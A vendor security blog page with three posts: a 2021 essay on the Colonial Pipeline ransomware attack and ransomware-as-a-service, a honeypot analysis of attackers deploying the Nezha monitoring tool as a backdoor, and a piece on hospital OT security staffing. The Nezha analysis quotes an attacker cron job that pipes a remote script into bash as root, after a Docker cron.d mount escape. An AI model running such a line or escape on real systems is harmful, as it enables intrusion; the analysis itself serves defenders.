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June 7, 2021

When Cyber-Attacks Become Ransomware-as-a-Service

Cyber attacks have occurred since the early days of the Internet. They can be extremely unpredictable. Learn about the dangers and unintended consequences!
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Marcus Fowler
CEO of Darktrace Federal
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07
Jun 2021

In 1988, a Harvard graduate began an experiment to see how many computers were connected to the Internet. 24 hours later, 10% of all computers around the world had been taken down and the damages soared into the millions. Robert Tappan Morris had inadvertently created the first ever computer worm.

Once Morris realized the speed at which his program was replicating, he tried to send instructions to the victims to dismantle the worm and curb the attack. But it was too late. He was indicted one year later and faced fines of over $10,000.

Fast forward to the present day, and we’re facing the most recent example of a cyber-threat miscalculation, or a criminal group that simply did not understand the full impact their attack would have. The DarkSide ransomware group most likely only intended to hit the IT system and corporate business operations of Colonial Pipeline and underestimated the full impact the malware would have. The consequences were disastrous, halting the supply of fuel across the East Coast, leading to gas shortages, hoarding, and spikes in gasoline prices around the world.

In an apparent show of social responsibility, the DarkSide group issued a seemingly heartfelt apology for the attack on social media:

We are apolitical, we do not participate in geopolitics, do not need to tie us with a defined government and look for other our motives. From today, we introduce moderation and check each company that our partners want to encrypt to avoid social consequences in the future.

The motivation behind this statement is clear: self-preservation. The aftermath of the attack affected not only Colonial Pipeline but the DarkSide group themselves. They fell into the direct firing line of the full force of the US government, as well as becoming pariahs among other criminal groups for the attention they have drawn. It also appears they lost whatever formal or informal state supervision or protection they may have held.

As a result of the blowback and possible direct actions against them and their operating infrastructure, in less than a week, DarkSide announced that they would close their operations for good. They could however resurface under a different name, or join another group, if allowed in.

Misjudging the impact and collateral damage of a cyber-attack can lead to a range of unintended ramifications, from a cyber-crime group feeling increased heat from law enforcement to a nation state escalating a conflict greater than they intended.

It is for this reason that many ransomware groups historically have tended to keep their affairs under the radar. Over 70% of ransomware attacks target SMBs. Unfortunately, while many cyber-crime groups pledge to avoid larger bodies like hospitals and critical infrastructure, the allure of fast payouts for record-breaking ransoms has led to the healthcare sector, even vaccine efforts, being a heavy target for ransomware actors.

Following the incident at Colonial Pipeline, and no doubt in the fear of moving up the FBI’s Most Wanted list, a major Ransomware-as-a-Service (RaaS) group, REvil, announced the following policy:

  1. Work in the social sector (health care, educational institutions) is prohibited;
  2. It is forbidden to work on the gov-sector (state) of any country.

Organized cyber-crime groups often stress that they are apolitical and motivated solely by financial gain.

But when the boat is pushed too far, attacks can easily spill over into geopolitical tensions, encouraging governments to issue executive orders and pushing cyber-threats into the headlines – all bad business for criminal groups. And if a threat actor gets in over their head, they either need to lay low and rebrand in what is known as an ‘exit scam’, as ransomware groups such as Maze and Jokeroo have done in the past, or they’re shut down completely, as seen in the disruption of the Emotet botnet at the beginning of this year.

The effects of a cyber-attack are becoming increasingly difficult to predict and control. The reason for this is twofold. The first is this idea of interconnectivity. We live in a digitized world which is so interlinked that an attack on one server can have global consequences, whether that’s reverberations down the supply chain, IT converging with OT, or a cyber-threat against one country affecting the world.

More isolated than federal bodies, the private sector will most often take the brunt of this collateral damage. Just take NotPetya – where a targeted attack against Ukrainian infrastructure went into the wild paralyzing factories across the globe and costing shipping company Maersk $300 million.

The second reason is easier access to more sophisticated tools. The commercialization of cyber-crime has enabled less advanced actors to rent state-of-the-art malware and launch campaigns with speed and with ease. In fact, the Colonial Pipeline attack was likely orchestrated by an affiliate who had paid for the DarkSide malware. This makes it far more challenging to monitor who is being targeted. When it comes to RaaS, even the developers probably do not know for certain how their malware will be used.

When preparing any kind of cyber-attack, the intelligence that an actor has going into the target environment is rarely 100%. If the intention is to impact a single component of a bank, for example, but the attacker fails to realize that a nearby hospital relies on that same electrical grid, the situation can escalate very quickly. And when it’s a low-skilled attacker with little regard or understanding of what a high-powered tool can do, miscalculations become alarmingly easy.

As far as we know, DarkSide itself was not a state-sponsored APT, merely a private criminal franchise. Yet they advertised their ransomware as the fastest in the world and managed to pull off one of the most disruptive critical infrastructure cyber-attacks of all time. As history has shown, from the Morris worm to Colonial Pipeline, when malware is fast and designed to propagate, it is unpredictable. It is nearly impossible to put a highly destructive genie back in the bottle.

As automation and AI-powered attacks become a reality, these trends will increase exponentially and transform the threat landscape. Ransomware is no longer a human-scalable problem. Organizational resilience depends not on throwing more people into the mix, or even upskilling existing teams – machine-speed attacks need a machine-speed response which can adapt as fast as an attack propagates. Thwarting ransomware is both a board-level issue and a national security concern. As such, self-learning AI technology proves critical in tackling the unpredictability and speed of the threats of today, and of tomorrow.

Thanks to Lucas Marsden-Smedley for his contributions.

Learn more about how Darktrace can detect attacks like Colonial Pipeline

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Marcus Fowler
CEO of Darktrace Federal

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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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About the author
Nathaniel Bill
Malware Research Engineer

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

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Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

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About the author
Daniel Simonds
Director of Operational Technology
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